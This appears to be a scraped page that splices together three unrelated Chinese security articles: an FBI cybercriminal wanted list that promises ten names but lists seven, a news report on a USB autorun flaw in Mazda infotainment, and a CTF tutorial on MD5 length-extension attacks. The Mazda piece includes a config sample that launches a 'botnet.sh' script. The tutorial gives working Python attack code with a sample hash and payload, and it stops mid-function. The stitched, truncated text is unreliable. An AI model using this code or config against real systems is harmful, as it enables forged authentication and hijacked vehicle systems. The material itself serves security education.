0.jpg

大大小小的网络攻击,从个人到群体再到国家层面,灰色产业链日益猖獗。而在这些网络罪犯当中,有27名被美国联邦调查局列为重点悬赏通缉对象。与此同时,该份名单也在随着时间的推移不断增加。下面让我们看看这份名单上,排名前十的网络罪犯:

1. Bjorn Daniel Sundin

11_bjorn-daniel-sundin-100724257-large.jpg

Bjorn Daniel Sundin被FBI指控的罪名是参与了一起重大的国际网络犯罪计划。联邦调查局估计,至少有超过一百万的受害者购买了该计划的“虚假软件产品”,Bjorn Daniel Sundin和他的团伙从中非法获利超过1亿美元。Sundin和他的团伙主要利用浏览器劫持,虚假扫描和错误信息说服无辜的互联网用户购买虚假软件。Sundin来自瑞典,有乌克兰血统,身高5英尺10英寸,体重136磅红头发和淡褐色眼睛。

悬赏金额:FBI愿意向任何能提供逮捕和定罪Sundin线索的人,支付高达$20,000的奖励。

2. Shaileshkumar P. Jain

12_shaileshkumar-p.jpg

Shaileshkumar P. Jain是Sundin的同伙,被指控罪名和Sundin相同。Sundin和Jain都是在芝加哥被一个专门打击电信欺诈、计算机欺诈和计算机组织欺诈的联邦陪审团起诉的。就像Sundin,Jain同样适用虚假软件来骗取互联网用户的钱款,并将赃款转移到世界各地的银行账户,最终存入到一个欧洲银行。根据联邦调查局掌握的信息,Jain是名印度人,有着黑色的头发和棕色眼睛,身高5英尺8英寸,体重约175磅。

悬赏金额:FBI愿意向任何能提供逮捕和定罪Jain线索的人,支付高达$20,000的奖励。

3. Peteris Sahurovs

13_peteris-sahurovs-100724258-large.jpg

Peteris Sahurovs被FBI指控的罪名是参与了一起,在2010年2月至9月间进行的国际网络犯罪计划。据估计,Sahurovs通过出售虚假安全程序,从受害者身上非法获利超过200万美元。FBI称,Sahurvos通过冒充合法的广告代理机构在网上报刊上刊登广告。一旦受害者无意点击,程序将引导用户跳转至他们精心设计的销售虚假杀毒软件的页面。据情报分析,Sahurovs可能潜藏在拉脱维亚的雷泽克内和乌克兰的基辅,别名“piotrek”、“piotrek89”和“sagade。”

悬赏金额:FBI愿意向任何能提供逮捕和定罪Sahurovs线索的人,支付高达$50,000的奖励。

4. Alexsey Belan

5_alexsey-belan-100652872-gallery.idge.jpg

Alexsey Belan被FBI指控的罪名是涉嫌在2012年至2013年间,在内华达州和加利福尼亚州的主要电子商务公司实施犯罪活动。FBI称,Belan窃取用户数据库来获取用户的帐户信息及密码,一旦得手,Belan便会盗卖这些数据。在不久前,Belan还被指控与雅虎黑客事件(美国历史上最大的安全漏洞之一,受影响用户超过5亿)有关。Belan是拉脱维亚人,说俄罗斯语,可能潜藏在俄罗斯、希腊、拉脱维亚、马尔代夫、泰国等地。别名“Magg,M4G,Moy.Yawik和Abyrvaig。”联邦调查局还注意到他可能会戴着眼镜,并且已知他已将自然的棕色头发染红或金发;最近一次被发现是在希腊的雅典。

悬赏金额:FBI愿意向任何能提供逮捕和定罪Belan线索的人,支付高达$100,000的奖励。

5. Nicolae Popescu

4_nicolae-popescu-100652871-gallery.idge.jpg

别名“Nae”和“Stoichitoiu”,他被FBI指控的罪名是涉嫌参与了一起“复杂的网络欺诈案”。据称,Popescu在线拍卖网站上发布售卖不存在的商品广告,并附有“合法在线支付服务”的欺诈性发票欺骗网络用户。Popescu的手段还包括使用假护照在美国开立银行账户,以便受害者可以把钱汇到他们的账户里。一旦汇款完成,他的同伙会通过电子邮件将款项调走。2012年,Popescu的联邦逮捕令签发,罪名是组织电信欺诈、洗钱、护照欺诈和假冒商标进行非法交易,多年里联邦调查局一直在追踪他。据联邦调查局网站的消息,Popescu说罗马尼亚语,可能潜逃到了欧洲。

悬赏金额:FBI愿意向任何能提供逮捕和定罪Popescu线索的人,支付高达$1000,000的奖励。

6. Farhan Ul Arshad

14_farhan-ui-arshad-100724259-large.jpg

被FBI通缉的罪名是参与了一起针对个人、企业和政府机构的“国际电信犯罪”。该案发生在2008年11月和2012年4月之间,共计从受害者身上获取了超过5000万美元的非法收入。FBI发现越来越多的国家牵扯到此案中,Arshad的组织规模不断扩展,来自巴基斯坦、菲律宾、沙特阿拉伯、瑞士、西班牙、新加坡、意大利、马来西亚多地的罪犯纷纷加入。Arshad身高5英尺10英寸,体重170磅,最后一次露面是在马来西亚,但FBI表示他“可能潜逃到了阿联酋、加拿大、德国、英国和巴基斯坦”。

悬赏金额:FBI愿意向任何能提供逮捕和定罪Arshad线索的人,支付高达$50,000的奖励。

7. Noor Aziz Uddin

15_noor-aziz-uddin-100724261-large.jpg

被FBI通缉的罪名与Arshad相同;联邦调查局指控Uddin为Arshad的同伙。他被指控犯有组织电信欺诈、非法计算机访问、电信欺诈和盗取个人身份信息。Uddin身高5英尺10英寸,体重170磅,最后一次露面是在沙特阿拉伯,但是可能潜逃到阿拉伯联合酋长国、意大利、马来西亚和巴基斯坦。

悬赏金额:FBI愿意向任何能提供逮捕和定罪Uddin线索的人,支付高达$50,000的奖励。

以上均为外媒观点,不代表FreeBuf立场

*FB小编 secist 编译,转载请注明来自FreeBuf(FreeBuf.COM)

得益于三年来一系列的已知Bug,马自达汽车的MZD信息娱乐系统可以通过将U盘插入仪表板进行黑客入侵。  

1.jpg

这些Bug早在在2014年5月就被Mazda 3 Revolution论坛用户发现了。自此,马自达论坛的车主们一直在使用这些“黑客手段”定制汽车的信息娱乐系统、调整设置或安装应用程序,MZD-AIO-TI(MZD整合调整安装包)就是其中最好的工具之一。  

通过之前项目分享的知识积累,Bugcrowd的APP安全工程师Jay Turla搭建了mazda_getInfo,该系统可以让整个“黑客”过程自动化。  

研究始于好奇心  

Turla表示,在最近自购马自达汽车之后,他就开始了研究。  

最初我只是想检查一下我的车,看看有哪些可能的攻击点。”Turla告诉BleepingComputer的记者。“另外,因为个人研究原因我也想测试一下我的车。去年我第一次参加维加斯DEFCON24期间的CarHackingVillage就爱上了,我有几个在菲律宾的朋友也正在研究汽车黑客行为。

Turla的mazda_getInfo项目上周在GitHub上开放,可让使用者在他们的U盘上复制一组脚本,将其插入汽车的仪表板即可在MZDConnect固件之上执行恶意代码。  

在测试期间,Turla尝试过执行一些简单的攻击,如在汽车仪表盘上显示文本或显示终端命令。由于MZDConnect是一个基于*NIX的系统,所以任何人都可以创建脚本并执行更多入侵攻击。

2.jpg

3.jpg

在一封电子邮件中,Turla提到了该项目的一些细节。

我做了一些相关调查,包括如何创建APP。我研究了MZD-AIO-TI的工作原理,发现该系统可以通过cmu_dataretrieval.up和dataRetrieval_config.txt执行tweak.sh脚本。因此,我决定创建mazda_getInfo项目,研究证明USB端口是马自达汽车信息娱乐系统的攻击面,通过jci-dialog用两个已知的*nix命令来回显输出就能完成入侵过程。我只是想让侵入过程更简洁高效,以便让更多人知道还有这么回事儿。

Turla表示,MZConnect系统在先前的固件更新后默认禁用了SSH,而他的脚本实际上只是重新启用SSH支持。

USB攻击自动执行  

此外,在用户将U盘插入汽车仪表板后,攻击会自动执行。  

Turla告诉记者:

无需用户交互,只要将U盘插入汽车的USB端口即可。想像一下在Windows上直接执行脚本的自动播放功能。

虽然自动攻击这点很棒,但缺点也是有的。例如,在脚本执行之前,汽车必须处于ACC模式,或者需要发动机正在运行。这也意味着您不能使用这个信息娱乐系统漏洞来启动或劫持汽车。  

尽管如此,Turla承认他的研究还不够到位,同时他也觉得这样的攻击场景也是的确存在的。

他在电子邮件中说:

虽然我还没有做出PoC,但这种攻击是完全可能的。

Turla表示,有些黑客可能会打造出僵尸车队,以下是用于dataRetrieval_config.txt的文件配置示例,Turla通过电子邮件分享了该示例:  

CMU_STATUS=no  

DATA_PERSIST=no  

SCREENSHOT=no  

MEMINFO=no  

TOP_LOG=no  

SMEVENTS=no  

NVRAM_DATA=no  

THREAD_INFO=no  

VUI_LOG=no  

GPIO_DATA=no  

SETTINGS_BIN=no  

SMAPS_VALUE=no  

TEST_MODE=no  

VUI_ECO_FILES=no  

BDS_DATA=no  

FLASHINFO=no  

SCI_LOG=no  

LOG_TIMEOUT=120  

TMP_FILTER=  

CMD_LINE=sh/mnt/sd?1/botnet.sh  

此外,Turla称他的一名同事认为这些缺陷可能会被滥用,导致马自达汽车上被安装RAT(远程访问木马)。  

其他查看了MZDConnect固件的研究人员也赞同这一观点。安全研究员Aris Adamantiadis在Twitter上写道:

汽车多媒体单元(CMU)充满了远程执行程序漏洞。如果将汽车连接到WiFi,你就可以通过网络DBUS对CAN总线进行(只读)访问。

USB攻击漏洞在最近的固件更新中被修复  

一切皆有可能,因为Bug可致用户在其信息娱乐系统上执行未经授权的代码。如果攻击者具有编写代码的技能和知识的话,那么“一切”就是字面意思了。  

MZF-AIO-TI项目提到,上个月发布的固件版本为59.00.502的MZDConnect已经修复了该USB代码执行漏洞。尚未更新到此版本的汽车最有可能遭到攻击,尽管没有任何报告指出该漏洞被用来执行除调整信息娱乐系统之外的操作。  

BleepingComputer已经联系了马自达,并请求他们发表评论,但他们在文章发布之前尚未收到回复。  

以下是已知配置了MZDConnect系统的马自达车型列表:  

MazdaCX-3  

MazdaCX-5  

MazdaCX-7  

MazdaCX-9  

Mazda2  

Mazda3  

Mazda6  

MazdaMX-5  

Turla告诉BleepingComputers,他将继续研究汽车漏洞。  

Turla说:

我想尝试一下特斯拉ModelS、本田City2017,或是三菱MonteroSport2017,希望我有机会在今年的DEFCON上对展示车辆的仪表板或信息娱乐系统上手测试一番。另外,我还需要点现金,毕竟车可不便宜……所以我觉得还是借朋友的车来测试一下好了。

最后值得一提的是,上周安全研究员AaronGuzman在澳大利亚举行的计算机安全会议上介绍了一种黑入斯巴鲁汽车的方法,马自达有伴儿了。

*本文原创作者:Guilty and Innocent,本文属FreeBuf原创奖励计划,未经许可禁止转载

做CTF题目的过程中遇到了md5扩展攻击,参考了几篇文章,感觉写的都有些小缺陷,再发一篇文章,理解md5扩展攻击首先需要了解md5的工作原理。

1)md5的工作原理

具体参考这两篇文章

http://blog.csdn.net/adidala/article/details/28677393,算法实现有误

https://www.rfc-editor.org/rfc/pdfrfc/rfc1321.txt.pdf,算法正确

md5的算法原理如下图所示

Md5的算法步骤是

1、填充

将数据进行填充,首先添加0×80,接着添加0×00使得 (数据字节数 + 8)%64 = 0

2、增加长度

将数据的长度放入8字节的数组中,把低字节放到前面,例如长度为1,8字节的数据长度表示为00 00 00 00 00 00 00 01,把这个长度值转化为低字节在前面变成了01 00 00 00 00 00 00 00,将这个数据加入到整体的数据中。

3、进行轮次变换

以64个字节为1组进行轮次变换,这一组中以4字节为1个单位分成16个数字。

首先准备A,B,C,D四个32位的字符,其中,    A = 0×67452301,B = 0xefcdab89

,C = 0x98badcfe,D = 0×10325476,   将ABCD作为种子,与16个数字进行一种复杂的运算(运算方式见后文),运算结果为A1 B1 C1 D1,以A1 B1 C1 D1为种子然后重复这个过程计算最后得到AnBnCnDn

4、输出hash值

将An进行类似于第二步的低字节顺序的排列An’,同理对Bn,Cn,Dn进行同样变换,An’,Bn’,Cn’,Dn’的简单拼接就是最后结果。

注:这里简单记录一下正确的复杂算法

文献1中的算法是错误的,正确的算法是

定义其中几个子算法

F = lambda x,y,z:((x&y)|((~x)&z))

G = lambda x,y,z:((x&z)|(y&(~z)))

H = lambda x,y,z:(x^y^z)

I = lambda x,y,z:(y^(x|(~z)))

def shift(a, count):

        return (((a << count) | (a >> (32 -count)))&0xffffffff)

常量表:

T_func = lambda i: int(4294967296*abs(math.sin(i))) & 0xffffffff

T = [T_func(i) for i in xrange(1, 65)]

T.insert(0 , 0)

复杂算法为

        INPUT_A = A

        INPUT_B = B

        INPUT_C = C

        INPUT_D = D

        M = [ (myord[i * 64 + j + 3] <<24) +  (myord[i * 64 + j + 2] << 16 )+ (myord[i * 64 + j + 1] << 8) + (myord[i * 64 + j + 0] )\

             for j in xrange(0, 64, 4)]

        def shift(a, count):

            return (((a << count) | (a >> (32 -count)))&0xffffffff)

        #第一轮

        A = (B+ shift((A+F(B,C,D)+M[0]+T[1]) &0xffffffff,7) ) & 0xffffffff

        D = (A+shift((D+F(A,B,C)+M[1]+T[2]) &0xffffffff ,12) )& 0xffffffff

        C = (D+shift((C+F(D,A,B)+M[2]+T[3]) &0xffffffff,17) ) &0xffffffff

        B = (C+shift((B+F(C,D,A)+M[3]+T[4]) &0xffffffff,22) )&0xffffffff

        A = (B+shift((A+F(B,C,D)+M[4]+T[5]) &0xffffffff,7) )&0xffffffff

        D = (A+shift((D+F(A,B,C)+M[5]+T[6])&0xffffffff,12) )&0xffffffff

        C = (D+shift((C+F(D,A,B)+M[6]+T[7]) &0xffffffff,17) )&0xffffffff

        B = (C+shift((B+F(C,D,A)+M[7]+T[8]) &0xffffffff,22) )&0xffffffff 

        A = (B+shift((A+F(B,C,D)+M[8]+T[9])&0xffffffff,7) )&0xffffffff

        D = (A+shift((D+F(A,B,C)+M[9]+T[10])&0xffffffff,12) )&0xffffffff

        C = (D+shift((C+F(D,A,B)+M[10]+T[11])&0xffffffff,17) )&0xffffffff

        B = (C+shift((B+F(C,D,A)+M[11]+T[12])&0xffffffff,22) )&0xffffffff

        A = (B+shift((A+F(B,C,D)+M[12]+T[13])&0xffffffff,7) )&0xffffffff

        D = (A+shift((D+F(A,B,C)+M[13]+T[14])&0xffffffff,12) )&0xffffffff

        C = (D+shift((C+F(D,A,B)+M[14]+T[15])&0xffffffff,17) )&0xffffffff

        B = (C+shift((B+F(C,D,A)+M[15]+T[16])&0xffffffff,22) )&0xffffffff

        #第二轮

        A = (B+shift((A+G(B,C,D)+M[1]+T[17])&0xffffffff,5) )&0xffffffff

        D = (A+shift((D+G(A,B,C)+M[6]+T[18]) &0xffffffff,9) )&0xffffffff

        C = (D+shift((C+G(D,A,B)+M[11]+T[19])&0xffffffff,14) )&0xffffffff

        B = (C+shift((B+G(C,D,A)+M[0]+T[20])&0xffffffff,20) )&0xffffffff

        A = (B+shift((A+G(B,C,D)+M[5]+T[21])&0xffffffff,5) )&0xffffffff

        D = (A+shift((D+G(A,B,C)+M[10]+T[22])&0xffffffff,9) )&0xffffffff

        C = (D+shift((C+G(D,A,B)+M[15]+T[23])&0xffffffff,14) )&0xffffffff

        B = (C+shift((B+G(C,D,A)+M[4]+T[24])&0xffffffff,20) )&0xffffffff

        A = (B+shift((A+G(B,C,D)+M[9]+T[25])&0xffffffff,5) )&0xffffffff

        D = (A+shift((D+G(A,B,C)+M[14]+T[26])&0xffffffff,9) )&0xffffffff

        C = (D+shift((C+G(D,A,B)+M[3]+T[27])&0xffffffff,14) )&0xffffffff

        B = (C+shift((B+G(C,D,A)+M[8]+T[28])&0xffffffff,20) )&0xffffffff

        A = (B+shift((A+G(B,C,D)+M[13]+T[29])&0xffffffff,5) )&0xffffffff

        D = (A+shift((D+G(A,B,C)+M[2]+T[30])&0xffffffff,9) )&0xffffffff

        C = (D+shift((C+G(D,A,B)+M[7]+T[31])&0xffffffff,14) )&0xffffffff

        B = (C+shift((B+G(C,D,A)+M[12]+T[32])&0xffffffff,20))&0xffffffff

        #第三轮

        A = (B+shift((A+H(B,C,D)+M[5]+T[33])&0xffffffff,4) )&0xffffffff

        D = (A+shift((D+H(A,B,C)+M[8]+T[34])&0xffffffff,11) )&0xffffffff

        C = (D+shift((C+H(D,A,B)+M[11]+T[35])&0xffffffff,16) )&0xffffffff

        B = (C+shift((B+H(C,D,A)+M[14]+T[36])&0xffffffff,23) )&0xffffffff

        A = (B+shift((A+H(B,C,D)+M[1]+T[37])&0xffffffff,4) )&0xffffffff

        D = (A+shift((D+H(A,B,C)+M[4]+T[38])&0xffffffff,11) )&0xffffffff

        C = (D+shift((C+H(D,A,B)+M[7]+T[39])&0xffffffff,16) )&0xffffffff

        B = (C+shift((B+H(C,D,A)+M[10]+T[40])&0xffffffff,23) )&0xffffffff

        A = (B+shift((A+H(B,C,D)+M[13]+T[41])&0xffffffff,4) )&0xffffffff

        D = (A+shift((D+H(A,B,C)+M[0]+T[42])&0xffffffff,11) )&0xffffffff

        C = (D+shift((C+H(D,A,B)+M[3]+T[43])&0xffffffff,16) )&0xffffffff

        B = (C+shift((B+H(C,D,A)+M[6]+T[44])&0xffffffff,23) )&0xffffffff

        A = (B+shift((A+H(B,C,D)+M[9]+T[45])&0xffffffff,4) )&0xffffffff

        D = (A+shift((D+H(A,B,C)+M[12]+T[46])&0xffffffff,11) )&0xffffffff

        C = (D+shift((C+H(D,A,B)+M[15]+T[47])&0xffffffff,16) )&0xffffffff

        B = (C+shift((B+H(C,D,A)+M[2]+T[48])&0xffffffff,23))&0xffffffff

        #第四轮

        A = (B+shift((A+I(B,C,D)+M[0]+T[49])&0xffffffff,6) )&0xffffffff

        D = (A+shift((D+I(A,B,C)+M[7]+T[50])&0xffffffff,10) )&0xffffffff

        C = (D+shift((C+I(D,A,B)+M[14]+T[51])&0xffffffff,15) )&0xffffffff

        B = (C+shift((B+I(C,D,A)+M[5]+T[52])&0xffffffff,21) )&0xffffffff

        A = (B+shift((A+I(B,C,D)+M[12]+T[53])&0xffffffff,6) )&0xffffffff

        D = (A+shift((D+I(A,B,C)+M[3]+T[54])&0xffffffff,10) )&0xffffffff

        C = (D+shift((C+I(D,A,B)+M[10]+T[55])&0xffffffff,15) )&0xffffffff

        B = (C+shift((B+I(C,D,A)+M[1]+T[56])&0xffffffff,21) )&0xffffffff

        A = (B+shift((A+I(B,C,D)+M[8]+T[57])&0xffffffff,6) )&0xffffffff

        D = (A+shift((D+I(A,B,C)+M[15]+T[58])&0xffffffff,10) )&0xffffffff

        C = (D+shift((C+I(D,A,B)+M[6]+T[59])&0xffffffff,15) )&0xffffffff

        B = (C+shift((B+I(C,D,A)+M[13]+T[60])&0xffffffff,21) )&0xffffffff

        A = (B+shift((A+I(B,C,D)+M[4]+T[61])&0xffffffff,6) )&0xffffffff

        D = (A+shift((D+I(A,B,C)+M[11]+T[62])&0xffffffff,10) )&0xffffffff

        C = (D+shift((C+I(D,A,B)+M[2]+T[63])&0xffffffff,15) )&0xffffffff

        B = (C+shift((B+I(C,D,A)+M[9]+T[64])&0xffffffff,21))&0xffffffff

        A = (A + INPUT_A) & 0xffffffff

        B = (B + INPUT_B) & 0xffffffff

        C = (C + INPUT_C) & 0xffffffff

        D = (D + INPUT_D) & 0xffffffff

Md5算法实现python版本见第三节的中的my_md5>函数实现

理解的md5算法的原理,下面开始讲解md5扩展攻击

2)Md5攻击扩展攻击

首先可以参考这篇文章(http://www.freebuf.com/articles/web/69264.html),本文将对这篇文章进行补充说明。

从md5算法原理可以知道,每一轮次计算的ABCD将作为下一轮次计算的初始值,假设我们已知一个数字x的md5值为y,其中x为未知量,即y=md5(x),同时已知x的长度,那么我们就能进行md5扩展攻击,因为我们知道y为md5(x)计算完毕后的ABCD值的简单组合,通过md5的算法可知y = f(x + x的填充值),如果我们增加x1,计算y’=f( (x + x的填充值+x1 ) +  (x + x的填充值+x1 ) 的填充值 )则变得可能,应为y’可以使用y转化的AB

CD值同(x1 + (x + x的填充值+x1 ) 的填充值)再进行一轮次的计算既可以得出。

下图阐述了上述算法原理

其中标号1为原始数据x,标号2位原始数据x的填充长度,标号3表示新增加的数据,标号4为标号1,2,3的填充和长度。如果我们已知一个计算出来的hash值,同时知道明文的长度,则我们可以构造标号2的数据,标号3,计算未知数md5值的函数(如服务器端的程序),拿到我们构造的标号2和标号3的数据,会自动添加标号4的数据,计算完标号1和和标号2产生ABCD,接着会产生hash值,这时这个hash值就是可以预测。

攻击者可以计算出标号3和标号4,以ABCD作为输入进行计算本地产出的hash值和服务端计算出的hash值是一致的。

攻击者的视角如下图所示。

1、攻击者提供标号2,标号3,标号4的数据

2、服务端计算到标号2的位置刚好为ABCD这个已知数据

3、攻击者在本地根据标号3和标号4的数据和ABCD值计算hash值攻击成功

而服务端的视角是,攻击者提供了标号2和标号3的数据,服务端计算了标号4的数据,同时服务端产出ABCD,发现没有计算完成,接着运行md5算法,计算出的新的hash值和攻击者一致。

综上所述要想进行此类攻击需要知道两个条件

1、标号1数据的长度。

2、标号1数据的md5值。

最后总结一下攻击步骤

第一步:根据标号1的长度计算标号2的数据,提供标号3的数据,本地计算标号4 的数据,并计算加上标号3和标号4数据后的hash值。

第二步:发送计算出来的hash,和标号2,标号3的数据,攻击成功。

3)程序展示

展示python编写的MD5程序和md5扩展攻击的程序

#-*- coding=utf-8 -*-
import math

def my_md5_extend(salt_hash,  salt_length, added_message):
    #计算需要填充的数据
    added_data = [0x80];
    x = salt_length + 1;
    while (x + 8) % 64 != 0:
        x += 1;
        added_data.append(0x00);
    salt_length *= 8;
    salt_length = salt_length  % (2 ** 64);
    salt_length = hex(salt_length);
    salt_length = salt_length[2:len(salt_length)-1].rjust(16, '0');
    salt_length = [int(format(salt_length[i:i+2]), 16) for i in xrange(0, len(salt_length), 2)][::-1]
    #下面的数据用于加在payload后面
    added_data.extend(salt_length); #important
    #打印payload
    print ''.join(['%' + hex(item).replace('0x', '').rjust(2,'0') for item in added_data])
    
    #增加新加的数据,然后使用已经md5的数据进行扩展计算,计算出来一个新的hash值
    myord = map(ord, added_message);
    myord.append(0x80);
    added_length = (x + 8 + len(added_message)) ;
    y = x + 8 + len(added_message) + 1;
    while (y + 8) % 64 != 0:
        y += 1;
        myord.append(0x00);
        
    added_length *= 8;
    added_length = added_length  % (2 ** 64);
    added_length = hex(added_length);
    added_length = added_length[2:len(added_length)-1].rjust(16, '0');
    added_length = [int(format(added_length[i:i+2]), 16) for i in xrange(0, len(added_length), 2)][::-1]
    myord.extend(added_length);
    
    #使用已经计算出来的hash
    myA, myB, myC, myD = ( int(salt_hash[i +6: i + 8] +salt_hash[i + 4: i + 6] +salt_hash[i + 2:i + 4] +salt_hash[i + 0 : i + 2], 16)  for i in xrange(0, len(salt_hash), 8));
    
    A = myA;
    B = myB;
    C = myC;
    D = myD;
    
    F = lambda x,y,z:((x&y)|((~x)&z))  
    G = lambda x,y,z:((x&z)|(y&(~z)))  
    H = lambda x,y,z:(x^y^z)  
    I = lambda x,y,z:(y^(x|(~z)))  

    T_func = lambda i: int(4294967296*abs(math.sin(i))) & 0xffffffff

    T = [T_func(i) for i in xrange(1, 65)]
    T.insert(0 , 0)
    #进行hash计算
    for i in xrange(0, len(myord) / 64):
        INPUT_A = A
        INPUT_B = B
        INPUT_C = C
        INPUT_D = D
        
        M = [ (myord[i * 64 + j + 3] <<24) +  (myord[i * 64 + j + 2] << 16 )+ (myord[i * 64 + j + 1] << 8) + (myord[i * 64 + j + 0] )\
             for j in xrange(0, 64, 4)]

        def shift(a, count):
            return (((a << count) | (a >> (32 -count)))&0xffffffff)
        
        #第一轮
        A = (B+ shift((A+F(B,C,D)+M[0]+T[1]) &0xffffffff,7) ) & 0xffffffff
        D = (A+shift((D+F(A,B,C)+M[1]+T[2]) &0xffffffff ,12) )& 0xffffffff
        C = (D+shift((C+F(D,A,B)+M[2]+T[3]) &0xffffffff,17) ) &0xffffffff

        B = (C+shift((B+F(C,D,A)+M[3]+T[4]) &0xffffffff,22) )&0xffffffff

        A = (B+shift((A+F(B,C,D)+M[4]+T[5]) &0xffffffff,7) )&0xffffffff

        D = (A+shift((D+F(A,B,C)+M[5]+T[6])&0xffffffff,12) )&0xffffffff

        C = (D+shift((C+F(D,A,B)+M[6]+T[7]) &0xffffffff,17) )&0xffffffff

        B = (C+shift((B+F(C,D,A)+M[7]+T[8]) &0xffffffff,22) )&0xffffffff 
        A = (B+shift((A+F(B,C,D)+M[8]+T[9])&0xffffffff,7) )&0xffffffff

        D = (A+shift((D+F(A,B,C)+M[9]+T[10])&0xffffffff,12) )&0xffffffff
        C = (D+shift((C+F(D,A,B)+M[10]+T[11])&0xffffffff,17) )&0xffffffff

        B = (C+shift((B+F(C,D,A)+M[11]+T[12])&0xffffffff,22) )&0xffffffff
        A = (B+shift((A+F(B,C,D)+M[12]+T[13])&0xffffffff,7) )&0xffffffff

        D = (A+shift((D+F(A,B,C)+M[13]+T[14])&0xffffffff,12) )&0xffffffff

        C = (D+shift((C+F(D,A,B)+M[14]+T[15])&0xffffffff,17) )&0xffffffff

        B = (C+shift((B+F(C,D,A)+M[15]+T[16])&0xffffffff,22) )&0xffffffff
 
        #第二轮
        A = (B+shift((A+G(B,C,D)+M[1]+T[17])&0xffffffff,5) )&0xffffffff

        D = (A+shift((D+G(A,B,C)+M[6]+T[18]) &0xffffffff,9) )&0xffffffff

        C = (D+shift((C+G(D,A,B)+M[11]+T[19])&0xffffffff,14) )&0xffffffff

        B = (C+shift((B+G(C,D,A)+M[0]+T[20])&0xffffffff,20) )&0xffffffff

        A = (B+shift((A+G(B,C,D)+M[5]+T[21])&0xffffffff,5) )&0xffffffff

        D = (A+shift((D+G(A,B,C)+M[10]+T[22])&0xffffffff,9) )&0xffffffff

        C = (D+shift((C+G(D,A,B)+M[15]+T[23])&0xffffffff,14) )&0xffffffff

        B = (C+shift((B+G(C,D,A)+M[4]+T[24])&0xffffffff,20) )&0xffffffff

        A = (B+shift((A+G(B,C,D)+M[9]+T[25])&0xffffffff,5) )&0xffffffff

        D = (A+shift((D+G(A,B,C)+M[14]+T[26])&0xffffffff,9) )&0xffffffff

        C = (D+shift((C+G(D,A,B)+M[3]+T[27])&0xffffffff,14) )&0xffffffff

        B = (C+shift((B+G(C,D,A)+M[8]+T[28])&0xffffffff,20) )&0xffffffff

        A = (B+shift((A+G(B,C,D)+M[13]+T[29])&0xffffffff,5) )&0xffffffff

        D = (A+shift((D+G(A,B,C)+M[2]+T[30])&0xffffffff,9) )&0xffffffff

        C = (D+shift((C+G(D,A,B)+M[7]+T[31])&0xffffffff,14) )&0xffffffff

        B = (C+shift((B+G(C,D,A)+M[12]+T[32])&0xffffffff,20))&0xffffffff

        #第三轮
        A = (B+shift((A+H(B,C,D)+M[5]+T[33])&0xffffffff,4) )&0xffffffff

        D = (A+shift((D+H(A,B,C)+M[8]+T[34])&0xffffffff,11) )&0xffffffff

        C = (D+shift((C+H(D,A,B)+M[11]+T[35])&0xffffffff,16) )&0xffffffff

        B = (C+shift((B+H(C,D,A)+M[14]+T[36])&0xffffffff,23) )&0xffffffff

        A = (B+shift((A+H(B,C,D)+M[1]+T[37])&0xffffffff,4) )&0xffffffff

        D = (A+shift((D+H(A,B,C)+M[4]+T[38])&0xffffffff,11) )&0xffffffff

        C = (D+shift((C+H(D,A,B)+M[7]+T[39])&0xffffffff,16) )&0xffffffff

        B = (C+shift((B+H(C,D,A)+M[10]+T[40])&0xffffffff,23) )&0xffffffff

        A = (B+shift((A+H(B,C,D)+M[13]+T[41])&0xffffffff,4) )&0xffffffff

        D = (A+shift((D+H(A,B,C)+M[0]+T[42])&0xffffffff,11) )&0xffffffff

        C = (D+shift((C+H(D,A,B)+M[3]+T[43])&0xffffffff,16) )&0xffffffff

        B = (C+shift((B+H(C,D,A)+M[6]+T[44])&0xffffffff,23) )&0xffffffff

        A = (B+shift((A+H(B,C,D)+M[9]+T[45])&0xffffffff,4) )&0xffffffff

        D = (A+shift((D+H(A,B,C)+M[12]+T[46])&0xffffffff,11) )&0xffffffff

        C = (D+shift((C+H(D,A,B)+M[15]+T[47])&0xffffffff,16) )&0xffffffff

        B = (C+shift((B+H(C,D,A)+M[2]+T[48])&0xffffffff,23))&0xffffffff

        #第四轮

        A = (B+shift((A+I(B,C,D)+M[0]+T[49])&0xffffffff,6) )&0xffffffff

        D = (A+shift((D+I(A,B,C)+M[7]+T[50])&0xffffffff,10) )&0xffffffff

        C = (D+shift((C+I(D,A,B)+M[14]+T[51])&0xffffffff,15) )&0xffffffff

        B = (C+shift((B+I(C,D,A)+M[5]+T[52])&0xffffffff,21) )&0xffffffff

        A = (B+shift((A+I(B,C,D)+M[12]+T[53])&0xffffffff,6) )&0xffffffff

        D = (A+shift((D+I(A,B,C)+M[3]+T[54])&0xffffffff,10) )&0xffffffff

        C = (D+shift((C+I(D,A,B)+M[10]+T[55])&0xffffffff,15) )&0xffffffff

        B = (C+shift((B+I(C,D,A)+M[1]+T[56])&0xffffffff,21) )&0xffffffff

        A = (B+shift((A+I(B,C,D)+M[8]+T[57])&0xffffffff,6) )&0xffffffff

        D = (A+shift((D+I(A,B,C)+M[15]+T[58])&0xffffffff,10) )&0xffffffff

        C = (D+shift((C+I(D,A,B)+M[6]+T[59])&0xffffffff,15) )&0xffffffff

        B = (C+shift((B+I(C,D,A)+M[13]+T[60])&0xffffffff,21) )&0xffffffff

        A = (B+shift((A+I(B,C,D)+M[4]+T[61])&0xffffffff,6) )&0xffffffff

        D = (A+shift((D+I(A,B,C)+M[11]+T[62])&0xffffffff,10) )&0xffffffff

        C = (D+shift((C+I(D,A,B)+M[2]+T[63])&0xffffffff,15) )&0xffffffff

        B = (C+shift((B+I(C,D,A)+M[9]+T[64])&0xffffffff,21))&0xffffffff
        A = (A + INPUT_A) & 0xffffffff
        B = (B + INPUT_B) & 0xffffffff
        C = (C + INPUT_C) & 0xffffffff
        D = (D + INPUT_D) & 0xffffffff
        
    def show_result(A, B, C, D):
        result = "";
        mya = [hex(A)[2:len(hex(A)[2:]) if hex(A).find('L') == -1 else -1].rjust(8, '0')[k:k+2] for k in xrange(0, 8, 2)][::-1]
        myb = [hex(B)[2:len(hex(B)[2:]) if hex(B).find('L') == -1 else -1].rjust(8, '0')[k:k+2] for k in xrange(0, 8, 2)][::-1]
        myc = [hex(C)[2:len(hex(C)[2:]) if hex(C).find('L') == -1 else -1].rjust(8, '0')[k:k+2] for k in xrange(0, 8, 2)][::-1]
        myd = [hex(D)[2:len(hex(D)[2:]) if hex(D).find('L') == -1 else -1].rjust(8, '0')[k:k+2] for k in xrange(0, 8, 2)][::-1]
        return ''.join(mya + myb + myc + myd)
    return show_result(A, B, C, D);
    
        



print my_md5_extend('571580b26c65f306376d4f64e53cb5c7', 15 + len('adminadmin'), 'nb'); 


def my_md5(mystring):
    #第一步填充
